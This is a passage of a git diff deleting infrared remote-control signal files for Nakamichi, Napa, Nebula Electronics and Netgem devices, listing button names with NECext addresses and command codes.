-address: 5C 00 00 00 -command: 04 00 00 00 -# -name: TUNER_SEEKV(TAPE1) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 05 00 00 00 -# -name: SEEK_< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 05 00 00 00 -# -name: TUNER_AM(TAPE1) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 06 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 06 00 00 00 -# -name: TUNER_FM(TAPE1) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 07 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 07 00 00 00 -# -name: TUNER_PRESET^(TAPE1) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 12 00 00 00 -# -name: PRESET_> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 12 00 00 00 -# -name: TUNER_PRESETV(TAPE1) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 13 00 00 00 -# -name: PRESET_< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 13 00 00 00 -# -name: TAPE1_REC -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 14 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 14 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 15 00 00 00 -# -name: TAPE_PLAY_FORWARD -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 15 00 00 00 -# -name: TAPE1_PAUSE_ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 16 00 00 00 -# -name: TAPE_PAUSE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 16 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 17 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 17 00 00 00 -# -name: SPKS_A -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 40 00 00 00 -# -name: SPKS_B -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 41 00 00 00 -# -name: SPKS_A+B -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 42 00 00 00 -# -name: SPKS_OFF -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 43 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 44 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 45 00 00 00 -# -name: TUNER_(TAPE1) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 46 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 46 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 47 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 47 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 48 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 49 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 49 00 00 00 -# -name: TAPE_2/VCR -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 4A 00 00 00 -# -name: TAPE1_FFWD_>> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 54 00 00 00 -# -name: TAPE_FF -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 54 00 00 00 -# -name: TAPE1_REW_<< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 55 00 00 00 -# -name: TAPE_REWIND -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 55 00 00 00 -# -name: TAPE1_CUE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 56 00 00 00 -# -name: CUE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 56 00 00 00 -# -name: TAPE1_R.PLAY_< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 58 00 00 00 -# -name: TAPE_REVERSE_PLAY -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 58 00 00 00 -# -name: TAPE1_AZIMUTH_> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 59 00 00 00 -# -name: TAPE1_AZIMUTH_< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 5A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 80 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 81 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 82 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 83 00 00 00 -# -name: TUNER_SEEK_^ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 84 00 00 00 -# -name: TUNER_SEEK^(TAPE2) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 84 00 00 00 -# -name: TUNER_SEEK_V -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 85 00 00 00 -# -name: TUNER_SEEKV(TAPE2) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 85 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 86 00 00 00 -# -name: TUNER_AM(TAPE2) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 86 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 87 00 00 00 -# -name: TUNER_FM(TAPE2) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 87 00 00 00 -# -name: TUNER_PRESET_^ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 92 00 00 00 -# -name: TUNER_PRESET^(TAPE2) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 92 00 00 00 -# -name: TUNER_PRESET_V -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 93 00 00 00 -# -name: TUNER_PRESETV(TAPE2) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 93 00 00 00 -# -name: TAPE2_REC -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 94 00 00 00 -# -name: TAPE2_PLAY_> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 95 00 00 00 -# -name: TAPE2_PAUSE_ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 96 00 00 00 -# -name: TAPE2_STOP_[] -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 97 00 00 00 -# -name: SPKS_A -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C0 00 00 00 -# -name: SPKS_B -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C1 00 00 00 -# -name: SPKS_A+B -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C2 00 00 00 -# -name: SPKS_OFF -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C3 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C4 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C5 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C6 00 00 00 -# -name: TUNER(TAPE2) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C6 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C7 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C8 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C9 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: CA 00 00 00 -# -name: TAPE_3/VCR -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: CB 00 00 00 -# -name: TAPE2_FFWD_>> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: D4 00 00 00 -# -name: TAPE2_REW_<< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: D5 00 00 00 -# -name: TAPE2_CUE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: D6 00 00 00 -# -name: TAPE2_R.PLAY_< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: D8 00 00 00 -# -name: TAPE2_AZIMUTH_> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: D9 00 00 00 -# -name: TAPE2_AZIMUTH_< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir deleted file mode 100644 index aa3da085e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE1_FF_>> -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 0C 00 00 00 -# -name: TAPE_FF_>> -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 0C 00 00 00 -# -name: TAPE1_FFWD_>> -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 0C 00 00 00 -# -name: TAPE1_REW_<< -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 0D 00 00 00 -# -name: TAPE_REW_<< -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 0D 00 00 00 -# -name: TAPE1_CUE -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 0E 00 00 00 -# -name: TAPE1_REV_PLAY_< -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 11 00 00 00 -# -name: TAPE1_REC -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 14 00 00 00 -# -name: TAPE_REC -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 14 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 15 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 15 00 00 00 -# -name: TAPE1_PAUSE_ -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 16 00 00 00 -# -name: TAPE_PAUSE_ -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 16 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 17 00 00 00 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 17 00 00 00 -# -name: TAPE2_FFWD_>> -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 8C 00 00 00 -# -name: TAPE2_REW_<< -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 8D 00 00 00 -# -name: TAPE2_CUE -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 8E 00 00 00 -# -name: TAPE2_REV_PLAY_< -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 91 00 00 00 -# -name: TAPE2_REC -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 94 00 00 00 -# -name: TAPE2_PLAY_> -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 95 00 00 00 -# -name: TAPE2_PAUSE_ -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 96 00 00 00 -# -name: TAPE2_STOP_[] -type: parsed -protocol: NECext -address: 5C A1 00 00 -command: 97 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir deleted file mode 100644 index 531635ac3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: CD_DISC_SCAN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 93 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: CD_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C5 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C6 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: CD_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CB 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir deleted file mode 100644 index 578c7bb47..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 03 00 00 00 -# -name: TUNER_SEEK_UP -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 04 00 00 00 -# -name: TUNER_SEEK_DOWN -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 05 00 00 00 -# -name: TUNER_AM -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 06 00 00 00 -# -name: TUNER_FM -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 07 00 00 00 -# -name: TUNER_PRESET_UP -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 12 00 00 00 -# -name: TUNER_PRESET_DOWN -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 13 00 00 00 -# -name: TAPE_REC -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 14 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 15 00 00 00 -# -name: TAPE_PAUSE_ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 16 00 00 00 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 17 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 44 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 45 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 46 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 47 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 49 00 00 00 -# -name: TAPE_FFWD_>> -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 54 00 00 00 -# -name: TAPE_REW_<< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 55 00 00 00 -# -name: TAPE_CUE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 56 00 00 00 -# -name: TAPE_PLAY_REV_< -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir deleted file mode 100644 index 657ef6fda..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C0 00 00 00 -# -name: rw -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: prev_track -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: memory_clear -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C3 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C4 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C5 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C6 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C9 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CA 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CB 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CC 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CD 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CE 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CF 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D0 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D1 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D2 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D3 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D4 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D5 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D6 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir deleted file mode 100644 index f8ccf891b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_Z -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: DIGEST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: R/L -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir deleted file mode 100644 index 61fcf34a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: AD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: CHAPTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: CAPTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_WWW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_EMAIL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PHONE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir deleted file mode 100644 index 8445ea4a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 41 00 00 00 -# -name: DIRECTION_UP -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 42 00 00 00 -# -name: DIRECTION_DOWN -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 43 00 00 00 -# -name: DIRECTION_LEFT -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 44 00 00 00 -# -name: DIRECTION_RIGHT -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 45 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 46 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 47 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 48 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 83 33 00 